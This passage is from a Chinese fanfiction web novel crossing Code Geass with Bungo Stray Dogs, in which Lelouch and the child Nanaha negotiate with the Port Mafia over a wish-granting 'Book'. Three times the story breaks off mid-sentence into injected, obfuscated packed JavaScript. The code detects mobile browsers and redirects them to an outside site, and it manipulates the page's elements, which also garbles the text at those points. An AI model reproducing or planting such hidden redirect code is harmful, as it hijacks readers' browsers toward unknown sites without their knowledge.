“现在？”七羽困惑的抬头看过来，“我们被……关了起来？” “……我是问你怎么回事，你是七羽没错吧？” “对呀。”七羽语调轻快，“我当然是七羽。” “我按照约定带哥哥到地面了呀。”七羽自豪的挺起胸。 看着满脸写着“夸夸我”的七羽，鲁路修捂着额头叹了口气。 “你还记得我们是来干什么的吗？” 鲁路修没有系统，知道系统任务的只有七羽本人。 只能希望七羽的智商没有跟着年龄一起缩水吧。 “哥哥你说这个吗？”七羽指着虚空中只有他能看到的系统面板，“要念给出来吗？” “不用，你自己知道就行。”鲁路修拦下了七羽。“现在先不用告诉我。” 他们能交流的时间有限，只是寥寥几句话的功夫，外边的走廊里就响起了由远及近的“哒哒”声。 席地而坐的鲁路修对面出现了一双纯黑色的亮面皮鞋。 “你的异能力很有意思，如果换一个场合，我可能会向你抛出橄榄枝。” 中原中也的身上还穿着方才那身黑西装，他的声音因为近日来严重的酗烟而干涩沙哑，像磨在沙纸上的石粒。 “前提是你施展异能力的对象不是我的部下。” 中原中也目光冰冷的看着牢房中高中生模样的鲁路修。 “解开你的异能力，或者死，选一个。” 31.污浊了的忧伤中 横滨的港口Mafia有很多传说，其中之一就是港口Mafia那坐标成迷的地牢。 据说，之所以没有人知道这座地牢的位置，就是因为能从港口Mafia的地牢里出来的，只有不会泄露任何秘密的死人。 只不过在太宰治接手了森鸥外的位置后，这座传说中令人闻风丧胆地牢已经很久没有人光顾了。 究其原因，实在是那个从不踏出港/黑顶层一步的男人有着过于恐怖的统治力。 因为他的存在，横滨原本的三刻构想简直形同虚设。 在这种港口Mafia一家独大的背景下，没几个组织有那个胆子在明面上和他们过不去。 但此时，这座死牢又有了新的访客。 面对中原中也算得上是威胁的话，泰然坐在地上的鲁路修只是略略扬了下眉头。 外表看上去纤细文弱的恶逆皇帝一点没有囚徒的自觉，正相反，虽然是从下往上仰视，但他的模样却像身处不列颠帝国的皇宫，他身下坐着的也不是冰冷的地板，而是辉煌的王座。 “真可惜，现在他们已经是我的部下了。” 鲁路修真切的惋惜着，并不因为Code的暂时消失而受制于人。经验丰富的鲁路修清楚地知道，在这种情况下，示弱才会真得任人拿捏。 “其实解开的方法很简单，死人是不会受我异能力影响的。” 鲁路修现学现卖，用中原中也口中的异能力替换掉了Gease。 中原中也的眼神冷得像浸了冰，看向牢房内囚徒的目光就像在看一个死人，“或许杀了你也能解决问题。” 闻言，鲁路修表现得大度极了，“我没试过，你要试试看吗？” 中原中也盯着他看了几秒，随后勾起唇角露出一个假笑，“我欣赏有骨气的家伙，但遗憾的是，在特殊情况下我也不介意采取一些非常规手段。” 他抬手冲上方的监控比了个手势，关着鲁路修和七羽的牢门“啪嗒”一声，应声而开。 中原中也在鲁路修的注视下步伐优雅的走入森冷的牢房，他在路过鲁路修时停顿了一下，喉结滚动，哼出一声轻笑，“你以为我会对你做什么？” 皮鞋踢在地板上的清脆声再次响起，中原中也越过了鲁路修，在当前仅有12岁的七羽面前停下了脚步。 他垂眼打量仰起头好奇看着他的七羽，同样蓝色系的眼睛中看不出任何情绪。 中原中也并没有欺凌弱小的习惯，但他也不会因为敌人是未成年的孩子而心慈手软。 他没立刻动手仅仅是因为—— “无论你想做什么。”鲁路修含笑做了个“请”的手势。 ——旁边的家伙非常的有恃无恐。 这小鬼也有异能力？ 难道是和梦野久作差不多的触发条件？ 短短几秒钟，中原中也脑海中掠过许多念头。 在港/黑失去了人间失格、陷入围攻的现在，他如果中招会很难办。 这两个人出现的时机以及方式也很古怪，无论是红叶大姐那边，还是军警的情报网都没有找到与他们相符合的异能力者信息。 以如今横滨的局势，中原中也不认为军警那边会吝啬情报上的支持，毕竟他们还需要港/黑来帮忙分担天人五衰的攻势。 不然仅凭他们，很难在天人五衰的吸血鬼大军中维持住横滨的局势。 但是，话又说回来…… 这两人也不是天人五衰的人。 这一点中原中也有八成把握。 “喂，小鬼。” 中原中也捏着七羽的脖子，把当下身高仅有一米四的七羽提到了和自己视线平齐的高度。 不对劲。 中原中也直视着对方清澈的灰蓝色眼睛。 不对劲。 捏在七羽脖颈的手掌骤然施力，中原中也整个掌心都贴在了七羽纤细的脖颈，五指更是陷入了皮肉，捏出五个深深地指印。 “啧，怪不得你有恃无恐。” 很突然的，中原中也手一松，两脚离地的七羽跌回了原地。 “原来这小鬼是异能力。” 对方脖颈两侧的颈动脉毫不跳动。 这个小鬼压根不是人。 烦死了。 死青花鱼一不在，成天睁眼闭眼都是收拾不完的麻烦。 中原中也“啧”了一声。 同一个人不可能有两种异能力，所以这两个家伙还有同伴。如果用森先生的爱丽丝作为参考，那名漏网之鱼有可能并不在附近，而是远程控制异能力。 烦死了。 中原中也又骂了一句才压下多日连轴转导致的暴躁，他偏过头，果然听到鲁路修说出了他意料之中的话—— “现在，我们能坐下好好谈谈了吗？” Gease了对方的组织成员是形势所迫，在不确定七羽状态的当时，鲁路修顺应自己的本能选择了最优解。 但是归根结底，他们来这个世界的主要目标是招聘波洛咖啡店的咖啡师，次要目标是完成副本任务，看看能不能刷出来用得上的副本奖励。 和本世界的本土势力无缘无故结仇，对他们来说只会带来不必要的麻烦。 而这完全是可以避免的。 但一上来就说“我们毫无恶意”明显无法取信于面前这位杀伐果断的家伙，只有摆出足够多的筹码，他们才能被请上谈判桌。 以平等的方式。 “哈？希望你们组织以后能学会先送拜帖预约，得到主人允许再上门。”中原中也撇了撇嘴，“红叶大姐，去把地下那个死宅拖出来，开会。” 上方的监控摄像头上下摆动了一下，做出了一个“点头”的动作。 * 港口Mafia的会议室。 “到底什么事这么着急？中也呢？” 魏尔伦臭着一张脸，早些年的贵公子范儿早就在中也一次又一次拒绝和他离开时扭转成了某种执念。 当年让中也心甘情愿效忠的森鸥外不在时，魏尔伦以为时机到了，结果中也拒绝了他，说自己得保下太宰治。 现在，让中也寸步不离的太宰治也不在了，魏尔伦满心以为这次肯定没问题了，结果中也居然一声不吭的扛下了这个烂摊子，成了新的首领。 魏尔伦就搞不明白了，这里还有什么令中也留恋的地方吗？他在港口Mafia训练了那么多杀手死士，他承认港/黑是有那么一点可取之处。 但真的值得吗？ “妾身认为，你不应该直呼首领的名字，私下就算了，但一会儿可不要犯这种低级错误。”尾崎红叶的声音唤回了魏尔伦跑偏的思绪，“首领抓到了两个有意思的家伙，正在带他们来的路上。” 端庄坐在高背椅上的尾崎红叶言简意赅的向魏尔伦讲解了现下的状况。 中原中也和鲁路修在地牢中的对话全程都在她的监视之下，鲁路修二人的身份信息也是她负责和军警的情报人员协商交换的，可以说她是对目前情报掌控最全面的。 “你我都知道，一个人不可能出现第二种异能力，但他们二人却已经展现出了至少三种异能力。” 听到这，脸色苍白的魏尔伦提起了点兴趣，“三种异能力？” “没错。”尾崎红叶伸直右手食指中指以及无名指，比了个三后屈起无名指，“其一是自称L.L.的家伙拥有控制类的异能力，推测为绝对命令。” 她屈起食指，“其二，免疫高空坠落的异能力，具体实现方式不明。” 最后的食指也收回后，尾崎红叶把手放回了腿上，“其三，首领判断那个叫七羽的男孩儿本身就是异能力。” “然后呢？”魏尔伦不明所以，“这能说明什么？说明他们还有个异能力和森鸥外同类型的同伙？” 想到了某个可能性，魏尔伦脸色一沉，“你们不会以为是森鸥外回来了吧？” “妾身可没有这么想。”尾崎红叶闭口不谈中也如何，“首领自有他的考量，而身为干部，我们只需要履行自己的职责。” 魏尔伦对此不置可否，他没表示赞成，但也没出言反对。 会议室对面的电梯门开了又关，哪怕走廊里铺了厚厚的地毯，魏尔伦还是捕捉到了那个熟悉的脚步声。 他们的第三任首领推开了会议室的大门，带着两个陌生面孔走进了港口Mafia的专属会议室。 “自己找位子坐。” 中原中也在原本属于太宰治的椅子上坐下，用右手指关节敲了敲自己左侧的桌面。 那是原本属于干部中原中也的位子，如今已经因为他身份的改变而空了出来。 另一个空位在魏尔伦和尾崎红叶之间，在干部A被算计死亡后，前首领太宰治一直没有提拔新的干部，因为也空置了下来。 这两个位置并不相连，无论是七羽还是鲁路修，左右两边都是港口Mafia的人。 “我不想坐那里。”自进入副本后一直表现得很听话的七羽却突然出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709299|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声，“我要和哥哥在一起。” 他拉住鲁路修的衣角，用行动表示自己的意愿。 港口Mafia的三人无人出声，沉默的会议室里危险因子的浓度正在提高。 “七羽……” “你让我和哥哥坐一起，我可以给你一次许愿的机会哦？” 鲁路修终究没来得及捂住七羽的嘴。 没有时间与机会和七羽交换情报是鲁路修的劣势，现在，这个定时炸弹炸得猝不及防。 鲁路修当然可以找补，但…… 他目光扫过七羽头顶的发带。 鲁路修最终没有选择开口。 “许愿？”中原中也咀嚼着这个单词，很长时间都没有说话。 某些被理智强行按下的情绪随着七羽的一句话，莫名破了个口子。 中原中也是在太宰治坠亡之后，被尾崎红叶从密室里放出来的。 那几天的记忆已经成了不可考的破碎片段，中原中也压根分不清哪些是真实发生过的事情，哪些是因为药物而产生的幻觉。 当他被推进治疗室，躺在硬邦邦的医疗床上，听尾崎红叶说出首领的死讯时，中原中也还以为他从未离开那间位于首领办公室后方的密室，从红叶大姐找到他开始，全部都是新一轮的幻觉。 但很可惜，推入静脉的药物开始发挥作用，他眼前的天花板以及红叶大姐的声音都越来越清晰，他的视线里不会再出现五彩斑斓的光斑，也不会再出现光怪陆离的幻梦，围绕在他身边喋喋不休、让他出去后一定要暴揍首领一顿的阿呆鸟也消失了。 尾崎红叶说得是真的。 港口Mafia的首领坠亡了。 被军警以及组合等众多组织畏惧的男人自杀了。 那个藏在自己身后，被自己寸步不离保护的胆小鬼，再也不会一副弱鸡样的一边咳嗽，一边嘲笑他的帽子了。 中原中也清醒了。 他几乎称得上是冷静的接受了这一切，在随后的紧急会议上，顺理成章的被临时推举成新的首领，又顺理成章的接管了一团乱的局面。 “局势暂时还没有失控，虽然太宰坠楼的画面被多个组织获取，但在他们确定太宰的死讯之前，不会贸然打破明面上的平衡。” 彼时的紧急会议上，尾崎红叶的面妆与平常相比厚重了很多，但就算如此，那美艳的眼妆也没能完全盖住她眼下的青黑。 太宰治把港口Mafia带到了一个前所未有的高度，而他们之所以能稳稳坐在这个位置上，除了中原中也的存在，太宰治本身的存在也至关重要。 或者说，太宰治才是重中之重。 因为只有他才能释放出中原中也的全部威慑力。 如今他不在了，港口Mafia的摊子却铺得太大，如此庞大的组织，那些太宰治在位时甘愿臣服的魑魅魍魉，很难说在太宰治不在的现在，会不会生起别样的心思。 “军警已经在探口风了，截止目前为止，情报部已经抓获了间谍总计11名。”尾崎红叶冷着声线，“虽然我确信他们还没能传递出去任何情报，但没传递出情报本身，在有心人眼里就已经是情报了。” 比如军警手里的绫辻行人，再比如武装侦探社的江户川乱步。 局势恶化的比中原中也预计得要快很多。 很快他们就深陷在尾大不掉的泥沼里，先是各地的据点被叛徒暴露，连着废了两条运输线，之后大约是从他们的应对手段中发觉到了异样，很快，部分黑色组织就联合起来，接连狙击了数艘港口Mafia的运输船，不止抢了他们的货，还把船上反抗的船员直接丢进海里喂了鱼。 也是这个时候，中原中也才发觉他并不是最了解太宰治的人。 他们的敌人比他更了解太宰治。 那群鬣狗几乎立刻就看出来了这不是太宰治的手笔。 于是还在观望的其他异能力组织就像是嗅到了血腥味的鲨鱼，蜂拥而至想要从他们身上撕下肉来填补自己永远喂不满的胃口。 偏偏在这个节骨眼上军警内部出了大问题，猎犬队长福地樱痴暴露天人五衰首领的真实身份，猎犬其余四人也有战损，天人五衰的不死公子布拉姆趁机按照福地樱痴的命令，制造了席卷各国的吸血鬼狂潮。 作为横滨唯一战力保存完好的武装侦探社，哪怕补强了泉镜花与中岛敦也是独木难支。 所以哪怕知道这里面肯定有陷阱，中原中也还是开口了。 “任何愿望都可以？” 32.污浊了的忧伤中 因着中原中也这句轻飘飘的提问，尾崎红叶置于腿面的手瞬间攥紧了，垂顺的和服裙摆被抓得皱起，美艳的红发干部紧紧盯着自己看着长大的孩子，点着朱色的薄唇抿成一条直线，却仍约束着自己不在外人面前驳自家首领的颜面。 我得相信中也心里是有分寸的。 尾崎红叶在心中默念。 三遍之后，攥紧的双手缓慢放松，尾崎红叶强迫自己把注意力转移到七羽身上。 由于鲁路修和七羽两人中主导的一直都是鲁路修，加之七羽被认定为异能力，是以他们下意识的更加关注鲁路修，结果没想到，偏偏是看上去颇为无害的七羽打破了现场的平衡。 “什——么愿望都可以哦。”拉着鲁路修衣角的七羽另一只手抬到脸颊旁边，灰蓝色的大眼睛眨了眨，做了个可爱的张手动作。 而无论是他的言语还是动作，似乎都带着一股魔力，引诱着心怀愿望的人向自己许下愿望。 中原中也眼神深了几分，“什么都可以啊……” 这下连魏尔伦都忍不住往中也的方向投递了视线。 “这么说的话，我还真有一个愿望来着。”中原中也懒洋洋的往后一靠，双手手肘搭在两侧扶手，带着黑色手套的双手虚虚交握在胸前，“这就是你们来推销的业务？价格呢？你们想得到什么？” 尾崎红叶在中原中也摆出这等姿态后，有那么一瞬间从他的身上看到了前两任首领的影子，反而是平常基本都呆在地下做教官的魏尔伦没看出来什么，还在因为中也没有被冲昏头脑而欣慰。 他就说嘛，自家弟弟从来都是拿得起放得下的人，哪怕对方描述得再令人心动，中也都不可能在不明代价的前提下，脑子一热的就答应下来。 这种事连16岁的中原中也都不会做。 义无反顾和犯傻可不是一回事。 “很简单。”鲁路修平静的表情下是大脑的飞速运转，他不知道七羽的主线任务是什么，也不清楚这个世界的背景情况，目前已知的信息并不能让他编出一套完美无缺的说辞，那么…… “你们必须从他们手中保下七羽，时限是15天。” 鲁路修用了一个代指。 “原来是被天人五衰撵得东逃西窜的老鼠。”魏尔伦冷冷一哂，“这样看来，你们口口声声说什么能实现任何愿望，其实这个万能许愿机局限性很大吧？我们港口Mafia可是从来不做亏本生意。” “对个人来讲或许是代价很大，但对你们来说……”鲁路修说一半留一半，用刚刚套出来的信息继续滚雪球，“而且你们不会想让天人五衰得到七羽的，你们就一点也不好奇他们来势汹汹的原因吗？” 港口Mafia的三位高层相互交换了一个隐秘的视线。 的确，天人五衰发动得毫无预兆，而且他们明摆着并不是单冲着横滨来得，不然吸血鬼之灾就不会遍及全球了。 当然，太宰治的死亡或许也在里面起到了一个加速的作用。毕竟在太宰活着的时候，俄罗斯的那个病秧子可不会如此嚣张，多多少少都会因为顾忌太宰治与中原中也同时存在的缘故，至少提前布局铺垫引走他们其中的一个，而不是像现在这样，直接简单粗暴的选择武力碾压。 等一下，太宰那家伙的死亡不会有蹊跷吧？ 中原中也收紧眉心。 自从听闻太宰死讯那一日起，中原中也勉励维持的平静心绪突然翻涌起来。 他是不认为魔人能够像诱导A上吊自杀一样，也诱导了太宰跳楼。要说这世界上有人能杀得了太宰治，中原中也是不信的。 哪怕太宰不想活了，就他那扭曲的自傲性格，也不会允许自己落下一个技不如人惨败而死的评语，尤其他肯定知道，要是自己成了衬托魔人的翻车鱼，中原中也绝对会用这种糗事去他坟前开香槟，把他从头到脚痛骂一顿，给他扣上“废物”的死后名。 所以，太宰治绝对、百分百是自杀。 中原中也毫不怀疑这一点，他怀疑的是，这是不是太宰那混蛋想出来的某种新花活。 搞不好在大决战就缺人间失格一锤定音的时候，那条青花鱼就会施施然的从石头缝里蹦出来，笑嘻嘻得嘲笑他又上当受骗了。 “你的意思是，魔人和神威的目标是他？”见中原中也跑了神，尾崎红叶适时把话题接了过去，“而所谓愿望成真的代价，是可以由多人平摊，或者由他人代付的？” 尾崎红叶会这么猜测是有依据的。 首先，港口Mafia现在的确是因为各种问题束手束脚，连带着情报部对情报的收集掌控也受到了影响，但即使如此，他们的底蕴还是在的。 一个异能力者是不会凭空出现的，一个异能力者组织也不可能和外界毫无接触，而只要接触就会产生信息，只要拥有信息，就会生产情报。 异能力者也是人，也需要吃饭睡觉，也需要进行社会活动。 比起他们的组织隐蔽到无人知晓，尾崎红叶更倾向于他们组织的规模很小，或者是单独接单的雇佣兵，或者是专门给某个国家的官方组织干黑活的隐秘部队，或者干脆，他们和魏尔伦中也一样，是某个异能力研究组织一直没投入使用的实验品。 那么什么样的情况下，对方会认为在同样的许愿代价下，他们港口Mafia反而更有优势呢？ 规模。 这就是尾崎红叶得出的结论。 “嗯哼。”鲁路修深知最高明的说谎方式就是说真话这一点，所以他句句属实，“你们可以让部下来许愿，只要那个部下足够忠诚，并抱有必死的觉悟。” 鲁路修想了想，又补了一句：“不过你们的话，哪怕被索取了肝脏，应该也可以解决。” 这个世界连吸血鬼都有了，力量体系一看就知道比自己的世界高出来不少。他们的世界都能通过安装仿生学器官来避开死亡，想来在这里，内脏重生也不是没有可能。 虽然七羽索要的不一定是内脏，但按照鲁路修经历的那次经验，这种事早晚会发生。 七羽索要的东西，几乎都是对鲁路修意义重大的东西。 朱雀用来请求和好的袖扣，他准备送给C.C.的求婚戒指，以及保障生存的Code。 但这个意义重大似乎并不按照许愿人的在意程度排序，而是按照七羽认为的重要程度排得序。 不然七羽第一个就应该索要他的Code，最后再索要戒指才对。 哦，对了，还有那个和前三者不搭调的最后一个强求。 这刚好是印证鲁路修猜测的铁证。 只是“哥哥”的存在对七羽来说很重要吗？ 七羽有兄弟？ 鲁路修迅速回忆了一下，发现七羽并没有提过这方面。 “你算盘打得倒是不错。”魏尔伦冷笑，“把武装侦探社的死亡天使卷进来，也就把你们的能力间接透露给了她身边那位名侦探，一桩买卖赢两次，啧。” 魏尔伦才不信，武装侦探社那帮烂好人知道了事情始末后会袖手旁观。 “你的意思是，为了验证你们说的到底是真是假，我们不仅要搭上一个培养多年的衷心死士，还得去跟武装侦探社请求协助？” 中原中也的问话令会议室陷入了寂静。 “叩叩。” 僵持中，会议室的大门被从外面被叩响了，静待几秒后，广津的声音从门外传来。 “首领，武装侦探社的江户川乱步与芥川龙之介前来拜访。”广津稍稍停顿了一下，见会议室里没有其他声音，才继续说了下去，“江户川先生说，有很重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721076|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的事要告知首领，和天人五衰发动吸血鬼之灾的真正原因有关。” “哦？”中原中也尾音玩味的上扬，他打量着对面鲁路修的神色，笑道，“这还真是巧了，验证你们说辞的机会说来就来。” 有七羽兜底的鲁路修从容极了：“请随意。” 广津躬身候在门外，等待着首领让自己把那两个可疑人士带回地牢的指令，但片刻后，门内却只传来让他把侦探社的两位访客带过来的命令。 黑蜥蜴的队长眼底闪过一丝诧异，但他并未质疑首领的命令，而是鞠躬后依命退了下去，前去会客室向两位武装侦探社的访客传达了首领的邀请后，带着二人折返回了会议室。 敲开门，待两位客人都走了进去，广津轻轻带上了门，并不探听里面讨论的内容。 “又见面啦，可爱帽子君，听社长说你们上午刚刚经历了一场苦战，但你看起来还挺有精神嘛。” 江户川乱步双手包在脑后，很是自来熟的溜达着往里走，甚至自来熟得过了头，直接跳过了应有的寒暄。 但当他路过七羽后两秒，名侦探的脚步一停，又倒退了几步，“这孩子就是让帽子君你都拿捏不了的危险家伙吗？” 江户川乱步摸着下巴弯腰凑到七羽脸前：“果然人不可貌相啊。” “江户川前辈……”芥川龙之介张了张嘴，却不知道应该怎么让自家的名侦探大人收敛点，关键是，芥川龙之介很清楚，乱步除了社长的话之外，别人的话在他那里都和耳旁风区别不大。 而且…… 芥川龙之介自己正处于对港口Mafia情绪最复杂的时间段，这种复杂是随着港口Mafia因为太宰治死亡而压力骤增后逐渐加深的，尤其是在夏目漱石的牵线下，横滨的三大组织联合抵御天人五衰的吸血鬼之灾后，这种复杂情绪加深到了顶点。 他和那个刽子手人虎从太宰治口中知道了一切，但他们却不能说出去。 看着那些前仆后继奔赴战场，却被同化成吸血鬼的战士，芥川龙之介没办法不动摇。 他明明不应该动摇的，因为和江户川乱步同属一个组织的他最为清楚，只要露出丁点蛛丝马迹，那在名侦探江户川乱步的眼里就不存在秘密。 中原中也刮了他一眼，“少说废话，早上那个烂摊子可是你们那那个草帽小鬼丢给我们的。” “安啦安啦，所以我这不是来报恩了吗？”江户川乱步绕着七羽和鲁路修转了一圈，就沿着原路走到中原中也身边的空座坐下了。 “还是龙之介和敦不好，明明早点说出来就好了嘛。”江户川乱步叹口气，“说什么你们首领告诉他们，这件事超过三个人知道世界就会崩溃，现在世界不还是好好的吗？” 名侦探扳着手指头挨个数数：“龙之介、敦、我，以及天人五衰，怎么求都超过三个了呀？” 听到了这里面的某个关键词，中原中也周身的空气明显冷了起来，“你一定要继续绕弯子吗？” “别这么严肃嘛，又不是没机会挽回了。”江户川乱步盘着腿坐在宽大的椅子里，“不过啊，乱步大人不建议你那么做哦？” 这话的意思是…… 中原中也眯起眼：“天人五衰真的是为了万能许愿机？” “嗯哼，龙之介说那玩意叫‘书’，天人五衰就是为了得到这本‘书’才发动了这场战争，什么逼迫人类统一战线啊，得到大指令啊，都是烟雾弹。”江户川乱步点点头，“据说，那本‘书’在你们家前首领手里，怎么样，帽子君有什么线索能提供吗？” 能实现任何愿望的“书”？ 还在太宰手里？ 港口Mafia的三位高层齐刷刷的看向七羽。 嗯？ 所以其实是太宰安排他们过来的？ 33.污浊了的忧伤中 鲁路修发誓，这真的只是个巧合。 他不认识什么太宰治，也不知道“书”的设定，他的一切言语都是根据已知情报的现场发挥，但似乎发挥得过头了。 而且…… 鲁路修表面上从容不迫的同时跟两大组织的代表人扯皮，脑子里却在一心二用的思考怎么圆回来。 聪明人是会有自己脑补的毛病，但能让聪明人相信自己扯出来的真相从而展开脑补也并不容易。 以及，当“书”的设定被芥川龙之介讲出来后，鲁路修自己本人都有点怀疑七羽现在的状态是否跟这本“书”有关。 因为具鲁路修观察，这个世界的人似乎默认每个人的异能力都是独一无二的，不存在完全一样的异能力。 这就显得七羽的存在很怪异了。 再加上七羽现在这明显不怎么对劲的状态。 鲁路修在喝水的闲暇间把港/黑提供的茶点零食每样取了一点，装在一个空盘里放到了七羽面前，后者眼睛亮晶晶的说了一声“谢谢哥哥”，然后开心的拿起点心，“啊呜”就是一口。 无论怎么看，都和正常12岁的孩子没什么两样。 鲁路修不清楚七羽小时候是什么样子的，但透过七羽目前的性格，他不觉得七羽以前会是这么活泼的性格。 最主要的是，虽然性别没有变化，但是七羽对自己性别的认知似乎有变化。 他无论是神态还是动作，甚至是自称都偏向于女孩子。 不只是外貌，连性格与认知都变了，没变的仅仅只有一个名字。 “那这个小家伙和她的监护人就先交给帽子君了，我和龙之介回去跟社长打个招呼，快的话，明天上午就带晶子过来。” 江户川乱步在和中原中也达成共识后，捏了一块小饼干试图投喂七羽，结果一向和小孩子玩得来的江户川乱步居然被拒绝了。 眯眯眼的名侦探不甘心的伸手欲捏七羽肉肉的脸颊，后者擦着他的手指跳下了椅子，一溜烟跑走，躲到了鲁路修椅子后面。 “七羽不是很习惯和人相处。”鲁路修很符合“哥哥”身份的摸了摸七羽头顶以示安慰，“他和人接触的少，思维方式也和人类不太一样。” “这样啊。”名侦探略略睁开眼，漂亮的绿眼睛盯着鲁路修看了一小会儿，然后他拍掉衣摆上的食物碎屑，从椅子上跳了下来，“没关系啦，乱步大人超级大度的，完全不会介意这种小事。” “帽子君是个靠谱的人，但既然小七羽这么依赖你……你可要看好你家小七羽哦，希望明天我们再次拜访的时候还能一起喝下午茶。” 丢下这么一句话，江户川乱步整理好自己的侦探帽，摆摆手结束掉了今天的拜访。 见江户川乱步离开，规规矩矩坐在椅子上的芥川龙之介连忙站起身行了礼，急急忙忙追了出去。 “今天先这样吧。”中原中也双手撑着桌沿站起身，他扫了一眼因为江户川乱步而变成茶话会现场的凌乱会议桌，捏了捏眉心，“红叶姐你给他们俩安排下房间。” “你们俩住一间没问题吧？” 倒不是中原中也小气，主要他不觉得七羽会愿意和L.L.分开。 “没问题。”鲁路修点头，主动提起了另一件事，“作为合作的诚意，如果你们没有合适的人选进行许愿，我可以提供帮助。” 中原中也理解他的意思，要是被挑中许愿的人有异心，那很可能会酿成不可挽回的后果。 现在局势已经够混乱了，最好从根本上杜绝出现意外的可能性，这样一来，让鲁路修出手Gease了许愿的人就成了最保险的选择。 “比起这个，我觉得你解开我部下身上的异能力会显得更有诚意。”中原中也断然拒绝了他，“我们现在很缺战力，你如果不想明天跟我一起上战场的话，今晚最好好好考虑一下我的提议。” 鲁路修牵着七羽的手起身，“最迟你明天上午就能如愿以偿了不是吗？” 他紧接着毫无违和感的抛出一个烟雾弹，“一个人只有一次许愿的机会，我早就在很多年前就把这个机会用掉了。” 中原中也算是看出来了，这本“书”的监护人是真得油盐不进。 他也不再废话，干脆得让尾崎红叶带他们去距离自己办公室最近的房间休息。 连续送走了两波人，只剩下兄弟俩的会议室一下子就冷清了起来。 中原中也慢条斯理的收拾桌子上乱七八糟的东西，一面收拾一面在脑子里把今天发生的事重新过了一遍。 “如果你觉得直接开口找他们索要东西很突兀会被怀疑，可以让尾崎红叶给他们准备换洗衣物的时候，借口清洗坐过牢的衣服，把东西拿过来交给坂口安吾。” 魏尔伦用脚尖勾过来垃圾桶，手一拂，桌子上的垃圾就在被触碰后漂浮起来，团成一团后自己进了垃圾桶。 “不。”中原中也拒绝后沉默了一会儿，“假设那个小鬼真得是‘书’，坂口安吾可能会直接疯掉。” 天知道一个世界支点存在了多久，一瞬间接收那么大的信息量，中原中也怀疑坂口安吾的脑袋会物理意义上的炸掉。 “你觉得他们没说真话？” 魏尔伦看着中也的脸色，给他倒了杯热水，然后加了双倍的茶叶，说实在，现在中也的脸色差劲透了。 之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725369|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在外人面前，中原中也必须要表现得符合港口Mafia首领的身份，现在只有魏尔伦在身边，那些被强压下去的疲态才显露了出来。 “但他们没有说谎的必要。”魏尔伦把茶杯递过去，同时说道，“那个叫七羽的孩子究竟是不是万能许愿机，明天上午就知道了。” 魏尔伦想了想，又补充道：“你要是担心那个控制类的异能力本身就可以被异能力所有者解除，从而被他们糊弄过去，咱们完全可以许别的愿望，等验证了他们所说的是真是假，再找人许愿解除成员们所中的异能力也来得及。” “我不是这个意思。”中原中也说，“事实上，我并不怎么在意他到底是不是‘书’，不论他是与不是，只要让魔人相信他是就够了。” “你是说……” “没错，哥哥你应该也觉得很烦吧？没完没了的对付那些杂鱼。” 魏尔伦思考片刻，发现中也的计划的确有可行性。 “所以中也你打算主动把七羽就是‘书’这件事泄露出去？逼天人五衰主动现身？” 就凭那些吸血鬼炮灰，想从中原中也手里抢人那是天方夜谭，无论如何天人五衰都得亲自出手。 “对。”这个想法在中原中也听江户川乱步讲天人五衰真正目标的时候就冒出来了，他捋着思路，把自己的想法讲给魏尔伦，“而且要尽快，必须抢在各国交出大指令之前。” 别人怎么想的中原中也不清楚，但他本人却觉得这个能号令全世界军队的玩意不是什么好东西。 很多时候，权利带来的都不是和平，而是战争。 “你准备怎么把这个消息散播出去？”魏尔伦想了几个方式，但他自己就否定了，便没说出口，而是直接开口问中也的想法，“魔人可不是那么好骗的。” “所以我可以给他送过去一个‘奇迹’。”中原中也看着魏尔伦，“死而复生就是奇迹。*” 迎着自家弟弟的视线，从六年前起就于明面上“死亡”的暗杀王魏尔伦挑了挑眉。 “你肯放我出去了？” “我从来没不让你出去。”中原中也语气平静，“我是担心现在的你出去会被仇家清算。” 六年前那一战，魏尔伦是靠着兰波才活下来的，但哪怕活下来了，他的异能力水平也随着体内特异点的改变而退化了不少。 “现在你就不担心了？” “担心啊。”中原中也坦然承认，“但是我相信你，你可是我哥啊。” 魏尔伦愉悦得笑了起来。 “乐意为你效劳，首领。”魏尔伦伸手捞过中原中也头顶的帽子，把它重新戴回了头顶，“我的弟弟。” 34.污浊了的忧伤中 转天一大早江户川乱步就带着与谢野晶子登门了，彼时中原中也甚至还没完全睡醒。 昨天他让尾崎红叶把鲁路修二人安置好后，坂口安吾又来了通讯。 这位以前通常都是和太宰治打交道的官方人员习惯了太宰治那种气死人不偿命的说话方式，联络对象乍一变成中原中也还有点不习惯。 不仅仅是因为中也不会对他冷嘲热讽，还因为坂口安吾需要时时提醒自己别叫出那一串编号。 “中原先生。” 第一次从坂口安吾嘴里听到这么正式的称呼，中原中也不适应的咧了咧嘴。 